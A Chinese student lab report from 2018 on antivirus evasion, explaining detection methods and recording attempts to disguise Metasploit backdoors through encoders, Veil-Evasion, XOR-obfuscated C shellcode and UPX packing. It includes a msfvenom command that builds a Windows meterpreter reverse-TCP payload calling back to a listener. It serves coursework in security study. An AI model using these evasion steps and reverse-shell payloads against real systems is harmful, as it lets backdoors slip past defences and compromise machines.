4320LC

Exp3 免杀原理与实践 20154320 李超

基础知识

  • 如何检测出恶意代码
    • 基于特征码的检测:分析指令的统计特性、代码的结构特性等。如果一个可执行文件(或其他运行的库、脚本等)拥有一般恶意代码所通有的特征(开启后门等)则被认为是恶意代码
    • 启发式恶意软件检测:构成恶意代码的指令的含义,根据些片面特征去推断。
    • 基于行为的动态分析检测:通过监视恶意代码运行过程。如利用系统监视工具观察恶意代码运行过程时系统环境的变化,或通过跟踪恶意代码执行过程使用的系统函数和指令特征分析恶意代码功能,如出现恶意行为,则属于恶意代码。
  • 什么是免杀及如何进行免杀
    • 免杀,字面意思上理解,就是“反-杀毒”,也就是通过一定的手段,使得杀毒工具无法检测出来软件病毒或者木马之类的“干扰性”特征。免杀的方法包括:
    • 修改特征码:用一些工具找出特征码并针对特征码做免杀处理。
      • 文件加壳:可以用一些比较生僻的壳对木马文件进行保护,阻止外部程序或软件对加壳程序的反汇编分析或者动态分析。
      • 在有shellcode的情况下,用encode进行编码,payload重新编译生成可执行文件
  • 改变行为
    • 通讯方式
      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码
  • 非常规方法
    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
    • 使用社工类攻击,诱骗目标关闭AV软件。
    • 纯手工打造一个恶意软件

实验过程

Msfvenom使用编码器

检测上节课利用Msfvenom生成的后门软件,事实证明Metaspliot作为做热门的平台之一,各AV厂商都有所防范。

多编码几次也没有明显效果。

事实上杀毒软件厂商在对特征码进行扫描的同时,也会对编码器所用的解码代码进行检索,像我们之前常用的比较有名的编码器早已经被杀软厂商们加入了黑名单,所以使用该编码器即使编码次数再多也不会起到实质性效果。

 

采用免杀平台Veil-Evasion生成后门软件

 这次使用免杀功能更强一点的一款平台Veil-Evasion

  • 按照其提示,输入list查看payload,选择能实现反弹端口连接的payload(一般看名字就能看出来,rev_tcprev_http结尾的一般都是)这次我们随便选择其中满足我们要求的payload,键入use + name of payload(截图的时候我选择的是ruby/meterpreter/rev_tcp但是生成的时候一直弹出payload有问题,所以实际上使用的是python/meterpreter/rev_tcp

  • 将.exe文件拷贝出来到靶机上,结果被查杀

  • 在网站上进行检测

  • veil-evasion平台如此强大?

C语言调用Shellcode

  • 用指令会生成一个c语言格式的Shellcode数组。指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.30 LPORT=443 -f c
  • 用Microsoft Visual Studio 2013或者Visual C++ 6.0进行编译运行生成可执行文件。

  •  

  •  

  • 顺利回连
  • 用VirSCAN.org进行检测

修改shellcode

  • 用指令生成的shellcode数组,仍是会被发现,所以我们可以对这个数组做一些变化,比如对奇偶位分别进行异或:
奇数位异或85,即01010101
偶数位异或170,即10101010

将原数组的内容进行改变,这样在杀软检查时被发现的几率就减小了

  • kali成功获取权限

UPX加壳

 

用下面的命令来加压缩壳

# upx 4320-1.exe -o 4320m.exe

·
效果并不是很好

离实战还缺些什么技术或步骤

    • 最关键的部分实在传播环节,实验中实在关闭防火墙的情况下将后门程序传至靶机中,现实中一般普通的个人计算机都会打开防火墙,更不用说涉密计算机,也正因如此,确认下载网站的安全性是相当重要的,如果主动选择了忽略就等于让对方轻而易举地突破了这一关键环节。
    • 其次,在实验中都是靶机主动完成回连,通过一定的伪装和诱导让被攻击者打开后门程序才是更高级和更现实的方法。
    •  

posted on 2018-04-06 19:27  4320LC  阅读(150)  评论(0编辑  收藏

导航